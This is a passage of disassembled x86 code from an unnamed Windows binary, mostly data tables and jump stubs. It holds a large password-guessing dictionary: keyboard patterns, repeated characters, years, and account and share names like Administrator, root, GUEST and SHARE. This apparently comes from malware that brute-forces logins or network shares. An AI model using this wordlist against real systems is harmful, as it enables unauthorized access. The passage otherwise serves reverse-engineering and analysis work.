		jmp	short near ptr loc_42E528+1
; ---------------------------------------------------------------------------
		align 4
		db 3Ch
; ---------------------------------------------------------------------------

loc_42E4E9:				; CODE XREF: seg000:0042E4A5j
		jmp	short loc_42E52D
; ---------------------------------------------------------------------------
		align 4
		db 38h
; ---------------------------------------------------------------------------

loc_42E4ED:				; CODE XREF: seg000:0042E4A9j
		jmp	short near ptr loc_42E52D+4
; ---------------------------------------------------------------------------
		align 10h
		xor	bl, ch
		inc	edx
		add	[eax], ch

loc_42E4F5:				; CODE XREF: seg000:0042E4B1j
		jmp	short loc_42E539
; ---------------------------------------------------------------------------
		align 4
		db 24h
; ---------------------------------------------------------------------------

loc_42E4F9:				; CODE XREF: seg000:0042E4B5j
		jmp	short near ptr loc_42E539+4
; ---------------------------------------------------------------------------
		align 4
		db 20h
; ---------------------------------------------------------------------------

loc_42E4FD:				; CODE XREF: seg000:loc_42E4B9j
		jmp	short loc_42E541
; ---------------------------------------------------------------------------
		align 10h
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		db 0Ch
; ---------------------------------------------------------------------------

loc_42E509:				; CODE XREF: seg000:0042E4C5j
		jmp	short loc_42E54D
; ---------------------------------------------------------------------------
		align 4
		dd offset aEeeeee	; "eeeeee"
		db 0
; ---------------------------------------------------------------------------

loc_42E511:				; CODE XREF: seg000:0042E4CDj
		jmp	short loc_42E555
; ---------------------------------------------------------------------------
		align 4
		cld

loc_42E515:				; CODE XREF: seg000:0042E4D1j
		jmp	far ptr	42h:0EAF80042h
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------

loc_42E51D:				; CODE XREF: seg000:loc_42E4D9j
		jmp	far ptr	42h:0EAE80042h
; ---------------------------------------------------------------------------
		dd offset aGggggg	; "gggggg"
; ---------------------------------------------------------------------------

loc_42E528:				; CODE XREF: seg000:0042E4E5j
		fsub	st(2), st
		inc	edx
		add	al, bl

loc_42E52D:				; CODE XREF: seg000:loc_42E4E9j
					; seg000:loc_42E4EDj
		jmp	far ptr	42h:0EAD40042h
; ---------------------------------------------------------------------------
		dd offset aHhhh		; "hhhh"
		db 0C4h
; ---------------------------------------------------------------------------

loc_42E539:				; CODE XREF: seg000:loc_42E4F5j
					; seg000:loc_42E4F9j
		jmp	far ptr	42h:0EABC0042h
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------

loc_42E541:				; CODE XREF: seg000:loc_42E4FDj
		jmp	far ptr	42h:0EAB40042h
; ---------------------------------------------------------------------------
		dd offset aIii		; "iii"
		db 0A8h
; ---------------------------------------------------------------------------

loc_42E54D:				; CODE XREF: seg000:loc_42E509j
		jmp	far ptr	42h:0EAA00042h
; ---------------------------------------------------------------------------
		db  98h	; ˜
; ---------------------------------------------------------------------------

loc_42E555:				; CODE XREF: seg000:loc_42E511j
		jmp	far ptr	42h:0EA940042h
; ---------------------------------------------------------------------------
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42EA4C	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_438FBC
		dd 0
dword_42E7A4	dd 10h			; DATA XREF: sub_40B075+72w
					; sub_40CE55+B60r ...
a142536		db '142536',0           ; DATA XREF: seg000:0042E724o
		align 10h
a753951		db '753951',0           ; DATA XREF: seg000:0042E720o
		align 4
a951753		db '951753',0           ; DATA XREF: seg000:0042E71Co
		align 10h
a159357		db '159357',0           ; DATA XREF: seg000:0042E718o
		align 4
a753159		db '753159',0           ; DATA XREF: seg000:0042E714o
		align 10h
a13579		db '13579',0            ; DATA XREF: seg000:0042E710o
		align 4
a2684		db '2684',0             ; DATA XREF: seg000:0042E70Co
		align 10h
a2486		db '2486',0             ; DATA XREF: seg000:0042E708o
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: seg000:0042E704o
		align 10h
aMnb		db 'mnb',0              ; DATA XREF: seg000:0042E700o
a112233		db '112233',0           ; DATA XREF: seg000:0042E6FCo
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: seg000:0042E6F8o
		align 4
a3edc		db '3edc',0             ; DATA XREF: seg000:0042E6F4o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: seg000:0042E6F0o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: seg000:0042E6ECo
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg000:0042E6E8o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg000:0042E6E4o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg000:0042E6E0o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg000:0042E6DCo
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg000:0042E6D8o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg000:0042E6D4o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg000:0042E6D0o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: seg000:0042E6CCo
		align 4
aAass		db 'aass',0             ; DATA XREF: seg000:0042E6C8o
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: seg000:0042E6C4o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg000:0042E6C0o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg000:0042E6BCo
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg000:0042E6B8o
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: seg000:0042E6B4o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg000:0042E6B0o
aZz		db 'zz',0               ; DATA XREF: seg000:0042E6ACo
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg000:0042E6A4o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg000:0042E6A0o
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: seg000:0042E69Co
		align 4
aQqq		db 'qqq',0              ; DATA XREF: seg000:0042E698o
aQq		db 'qq',0               ; DATA XREF: seg000:0042E694o
		align 10h
aQ:					; DATA XREF: seg000:0042E690o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: seg000:0042E68Co
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: seg000:0042E688o
		align 4
aWwww		db 'wwww',0             ; DATA XREF: seg000:0042E684o
		align 4
aWww		db 'www',0              ; DATA XREF: seg000:0042E680o
aWw		db 'ww',0               ; DATA XREF: seg000:0042E67Co
		align 4
aW:					; DATA XREF: seg000:0042E678o
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg000:0042E674o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg000:0042E670o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: seg000:0042E66Co
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: sub_40CE55+267Co
					; seg000:0042E668o
aVv		db 'vv',0               ; DATA XREF: seg000:0042E664o
		align 4
aV:					; DATA XREF: seg000:0042E660o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg000:0042E65Co
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg000:0042E658o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg000:0042E654o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: seg000:0042E650o
aYy		db 'yy',0               ; DATA XREF: seg000:0042E64Co
		align 4
aY:					; DATA XREF: seg000:0042E648o
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg000:0042E644o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: seg000:0042E640o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: seg000:0042E63Co
		align 4
aTtt		db 'ttt',0              ; DATA XREF: seg000:0042E638o
aTt		db 'tt',0               ; DATA XREF: seg000:0042E634o
		align 10h
aT:					; DATA XREF: seg000:0042E630o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg000:0042E62Co
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg000:0042E628o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: seg000:0042E624o
		align 4
aSss		db 'sss',0              ; DATA XREF: seg000:0042E620o
aSs		db 'ss',0               ; DATA XREF: seg000:0042E61Co
		align 4
aS_4:					; DATA XREF: seg000:0042E618o
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg000:0042E614o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg000:0042E610o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: seg000:0042E60Co
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: seg000:0042E608o
aUu		db 'uu',0               ; DATA XREF: seg000:0042E604o
		align 4
aU:					; DATA XREF: seg000:0042E600o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg000:0042E5FCo
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: seg000:0042E5F8o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg000:0042E5F4o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: seg000:0042E5F0o
aPp		db 'pp',0               ; DATA XREF: seg000:0042E5ECo
		align 4
aP:					; DATA XREF: seg000:0042E5E8o
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg000:0042E5E4o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: seg000:0042E5E0o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: seg000:0042E5DCo
		align 4
aOoo		db 'ooo',0              ; DATA XREF: seg000:0042E5D8o
aOo		db 'oo',0               ; DATA XREF: seg000:0042E5D4o
		align 10h
aO:					; DATA XREF: seg000:0042E5D0o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: seg000:0042E5CCo
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: seg000:0042E5C8o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: seg000:0042E5C4o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: seg000:0042E5C0o
aNn		db 'nn',0               ; DATA XREF: seg000:0042E5BCo
		align 4
aN:					; DATA XREF: seg000:0042E5B8o
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: seg000:0042E5B4o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: seg000:0042E5B0o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: seg000:0042E5ACo
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: seg000:0042E5A8o
aMm		db 'mm',0               ; DATA XREF: seg000:0042E5A4o
		align 4
aM:					; DATA XREF: seg000:0042E5A0o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: seg000:0042E59Co
		align 4
aLllll		db 'lllll',0            ; DATA XREF: seg000:0042E598o
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg000:0042E594o
		align 4
aLll		db 'lll',0              ; DATA XREF: seg000:0042E590o
aLl		db 'll',0               ; DATA XREF: seg000:0042E58Co
		align 4
asc_42EA4C:				; DATA XREF: seg000:0042E588o
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: seg000:0042E584o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: seg000:0042E580o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: seg000:0042E57Co
		align 4
aKkk		db 'kkk',0              ; DATA XREF: seg000:0042E578o
aKk		db 'kk',0               ; DATA XREF: seg000:0042E574o
		align 10h
aK:					; DATA XREF: seg000:0042E570o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: seg000:0042E56Co
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: seg000:0042E568o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: seg000:0042E564o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: seg000:0042E560o
aJj		db 'jj',0               ; DATA XREF: seg000:0042E55Co
		align 4
aJ:
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0
		align 10h
aIiiii		db 'iiiii',0
		align 4
aIiii		db 'iiii',0
		align 10h
aIii		db 'iii',0              ; DATA XREF: seg000:0042E548o
aIi		db 'ii',0
		align 4
aI_0:
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0
		align 4
aHhhhh		db 'hhhhh',0
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: seg000:0042E534o
		align 4
aHhh		db 'hhh',0
aHh		db 'hh',0
		align 4
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: seg000:0042E524o
		align 4
aGgggg		db 'ggggg',0
		align 10h
aGggg		db 'gggg',0
		align 4
aGgg		db 'ggg',0
aGg		db 'gg',0
		align 10h
aG:
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: seg000:0042E50Co
		align 4
aEeeee		db 'eeeee',0
		align 4
aEeee		db 'eeee',0             ; DATA XREF: seg000:0042E504o
		align 4
aEee		db 'eee',0              ; DATA XREF: seg000:0042E500o
aEe		db 'ee',0
		align 4
aE:
		unicode	0, <e>,0
aFffff		db 'fffff',0
		align 10h
aFfff		db 'ffff',0
		align 4
aFff		db 'fff',0
aFf		db 'ff',0
		align 10h
aF:
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: seg000:0042E4E0o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: seg000:0042E4DCo
		align 4
aDdd		db 'ddd',0
aDd_2		db 'dd',0               ; DATA XREF: seg000:0042E4D4o
		align 4
aD:
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: seg000:0042E4C8o
		align 4
aCcccccc	db 'ccccccc',0
aCccccc		db 'cccccc',0
		align 4
aCcccc		db 'ccccc',0
		align 10h
aCccc_0		db 'cccc',0
		align 4
aCcc		db 'ccc',0
aCc		db 'cc',0
		align 10h
aC_1:
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0
		align 4
aBbbbbbb	db 'bbbbbbb',0
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: seg000:0042E49Co
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg000:0042E498o
		align 4
aBbbb		db 'bbbb',0
		align 4
aBbb		db 'bbb',0
aBb		db 'bb',0               ; DATA XREF: seg000:0042E48Co
		align 4
aB_0:					; DATA XREF: seg000:0042E488o
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: seg000:0042E484o
aEdc		db 'edc',0              ; DATA XREF: seg000:0042E480o
aWsx		db 'wsx',0              ; DATA XREF: seg000:0042E47Co
aQaz		db 'qaz',0              ; DATA XREF: seg000:0042E478o
aAsdfghjkl	db 'asdfghjkl',0
		align 4
aAsdfghjk	db 'asdfghjk',0
		align 10h
aAsdfghj	db 'asdfghj',0
aAsdfgh		db 'asdfgh',0           ; DATA XREF: seg000:0042E468o
		align 10h
aAsdfg		db 'asdfg',0            ; DATA XREF: seg000:0042E464o
		align 4
aAs		db 'as',0               ; DATA XREF: seg000:0042E458o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg000:0042E454o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg000:0042E450o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: seg000:0042E44Co
		align 4
aZxc		db 'zxc',0              ; DATA XREF: seg000:0042E444o
aZx		db 'zx',0               ; DATA XREF: seg000:0042E440o
		align 4
aZ:					; DATA XREF: seg000:0042E43Co
					; seg000:0042E6A8o
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg000:0042E438o
aToyota_0	db 'TOYOTA',0           ; DATA XREF: seg000:0042E400o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: seg000:0042E3FCo
aKor_0		db 'kor',0              ; DATA XREF: seg000:0042E3F4o
aChi		db 'chi',0              ; DATA XREF: seg000:0042E3F0o
off_42EC6C	dd offset loc_494843	; DATA XREF: seg000:0042E3ECo
aSystem		db 'system',0           ; DATA XREF: seg000:0042E3E4o
					; seg000:0042E728o
		align 4
aServices	db 'services',0         ; DATA XREF: seg000:0042E3E0o
		align 4
aServers	db 'servers',0          ; DATA XREF: seg000:0042E3DCo
aServer_0	db 'server',0           ; DATA XREF: seg000:0042E3D4o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg000:0042E3CCo
		align 10h
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg000:0042E3C8o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg000:0042E3C4o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: seg000:0042E3C0o
aQwe		db 'qwe',0              ; DATA XREF: seg000:0042E3B0o
aQw		db 'qw',0               ; DATA XREF: seg000:0042E3ACo
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg000:0042E3A8o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: seg000:0042E3A4o
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg000:0042E3A0o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg000:0042E39Co
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg000:0042E398o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg000:0042E394o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg000:0042E390o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: seg000:0042E38Co
		align 4
aAa		db 'aa',0               ; DATA XREF: seg000:0042E384o
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: seg000:0042E378o
		align 4
aSex		db 'SEX',0              ; DATA XREF: seg000:0042E374o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg000:0042E370o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg000:0042E36Co
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg000:0042E368o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg000:0042E364o
		align 10h
aSony_0		db 'SONY',0             ; DATA XREF: seg000:0042E360o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg000:0042E35Co
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg000:0042E358o
aSony		db 'sony',0             ; DATA XREF: seg000:0042E354o
		align 10h
a7654321	db '7654321',0          ; DATA XREF: seg000:0042E350o
a4321		db '4321',0             ; DATA XREF: seg000:0042E344o
		align 10h
a321		db '321',0              ; DATA XREF: seg000:0042E340o
a2006		db '2006',0             ; DATA XREF: seg000:0042E338o
		align 4
a2005		db '2005',0             ; DATA XREF: seg000:0042E334o
		align 4
a2004		db '2004',0             ; DATA XREF: seg000:0042E330o
		align 4
a2001		db '2001',0             ; DATA XREF: seg000:0042E324o
		align 4
a2000		db '2000',0             ; DATA XREF: seg000:0042E320o
		align 4
a1999		db '1999',0             ; DATA XREF: seg000:0042E31Co
		align 4
a1998		db '1998',0             ; DATA XREF: seg000:0042E318o
		align 4
a1997		db '1997',0             ; DATA XREF: seg000:0042E314o
		align 4
a1996		db '1996',0             ; DATA XREF: seg000:0042E310o
		align 4
a1995		db '1995',0             ; DATA XREF: seg000:0042E30Co
		align 4
a1994		db '1994',0             ; DATA XREF: seg000:0042E308o
		align 4
a1993		db '1993',0             ; DATA XREF: seg000:0042E304o
		align 4
a1992		db '1992',0             ; DATA XREF: seg000:0042E300o
		align 4
a1991		db '1991',0             ; DATA XREF: seg000:0042E2FCo
		align 4
a1990		db '1990',0             ; DATA XREF: seg000:0042E2F8o
		align 4
a1989		db '1989',0             ; DATA XREF: seg000:0042E2F4o
		align 4
a1988		db '1988',0             ; DATA XREF: seg000:0042E2F0o
		align 4
a1987		db '1987',0             ; DATA XREF: seg000:0042E2ECo
		align 4
a1986		db '1986',0             ; DATA XREF: seg000:0042E2E8o
		align 4
a1985		db '1985',0             ; DATA XREF: seg000:0042E2E4o
		align 4
a1984		db '1984',0             ; DATA XREF: seg000:0042E2E0o
		align 4
a1983		db '1983',0             ; DATA XREF: seg000:0042E2DCo
		align 4
a1982		db '1982',0             ; DATA XREF: seg000:0042E2D8o
		align 4
a1981		db '1981',0             ; DATA XREF: seg000:0042E2D4o
		align 4
a1980		db '1980',0             ; DATA XREF: seg000:0042E2D0o
		align 4
a1979		db '1979',0             ; DATA XREF: seg000:0042E2CCo
		align 4
a1978		db '1978',0             ; DATA XREF: seg000:0042E2C8o
		align 4
a1977		db '1977',0             ; DATA XREF: seg000:0042E2C4o
		align 4
a1976		db '1976',0             ; DATA XREF: seg000:0042E2C0o
		align 4
a1975		db '1975',0             ; DATA XREF: seg000:0042E2BCo
		align 4
a1974		db '1974',0             ; DATA XREF: seg000:0042E2B8o
		align 4
a1973		db '1973',0             ; DATA XREF: seg000:0042E2B4o
		align 4
a1972		db '1972',0             ; DATA XREF: seg000:0042E2B0o
		align 4
a1971		db '1971',0             ; DATA XREF: seg000:0042E2ACo
		align 4
a1970		db '1970',0             ; DATA XREF: seg000:0042E2A8o
		align 4
a1969		db '1969',0             ; DATA XREF: seg000:0042E2A4o
		align 4
a1968		db '1968',0             ; DATA XREF: seg000:0042E2A0o
		align 4
a1967		db '1967',0             ; DATA XREF: seg000:0042E29Co
		align 4
a1966		db '1966',0             ; DATA XREF: seg000:0042E298o
		align 4
a1965		db '1965',0             ; DATA XREF: seg000:0042E294o
		align 4
a1964		db '1964',0             ; DATA XREF: seg000:0042E290o
		align 4
a1963		db '1963',0             ; DATA XREF: seg000:0042E28Co
		align 4
a1962		db '1962',0             ; DATA XREF: seg000:0042E288o
		align 4
a1961		db '1961',0             ; DATA XREF: seg000:0042E284o
		align 4
a1960		db '1960',0             ; DATA XREF: seg000:0042E280o
		align 4
a1959		db '1959',0             ; DATA XREF: seg000:0042E27Co
		align 4
a1958		db '1958',0             ; DATA XREF: seg000:0042E278o
		align 4
a1957		db '1957',0             ; DATA XREF: seg000:0042E274o
		align 4
a1956		db '1956',0             ; DATA XREF: seg000:0042E270o
		align 4
a1955		db '1955',0             ; DATA XREF: seg000:0042E26Co
		align 4
a1954		db '1954',0             ; DATA XREF: seg000:0042E268o
		align 4
a1953		db '1953',0             ; DATA XREF: seg000:0042E264o
		align 4
a1952		db '1952',0             ; DATA XREF: seg000:0042E260o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: seg000:0042E25Co
a1234asd	db '1234asd',0          ; DATA XREF: seg000:0042E258o
a1234abc	db '1234abc',0          ; DATA XREF: seg000:0042E254o
a123qwer	db '123qwer',0          ; DATA XREF: seg000:0042E240o
a12qwe		db '12qwe',0            ; DATA XREF: seg000:0042E23Co
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg000:0042E238o
		align 4
a12abc		db '12abc',0            ; DATA XREF: seg000:0042E234o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg000:0042E230o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: seg000:0042E22Co
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg000:0042E228o
		align 4
a1abc		db '1abc',0             ; DATA XREF: seg000:0042E224o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg000:0042E220o
		align 4
a123467890	db '123467890',0        ; DATA XREF: seg000:0042E21Co
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg000:0042E218o
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg000:0042E214o
a123467		db '123467',0           ; DATA XREF: seg000:0042E210o
		align 4
a12346		db '12346',0            ; DATA XREF: seg000:0042E20Co
		align 4
a121		db '121',0              ; DATA XREF: seg000:0042E1E4o
a1020		db '1020',0             ; DATA XREF: seg000:0042E1DCo
		align 4
a0258		db '0258',0             ; DATA XREF: seg000:0042E1D8o
		align 10h
a8520		db '8520',0             ; DATA XREF: seg000:0042E1D4o
		align 4
a987		db '987',0              ; DATA XREF: seg000:0042E1D0o
a789		db '789',0              ; DATA XREF: seg000:0042E1CCo
a654		db '654',0              ; DATA XREF: seg000:0042E1C8o
a456		db '456',0              ; DATA XREF: seg000:0042E1C4o
a1122		db '1122',0             ; DATA XREF: seg000:0042E1C0o
		align 10h
a0147		db '0147',0             ; DATA XREF: seg000:0042E1BCo
		align 4
a7410		db '7410',0             ; DATA XREF: seg000:0042E1B8o
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: seg000:0042E1B0o
		align 4
a999999999	db '999999999',0        ; DATA XREF: seg000:0042E1ACo
		align 4
a99999999	db '99999999',0         ; DATA XREF: seg000:0042E1A8o
		align 4
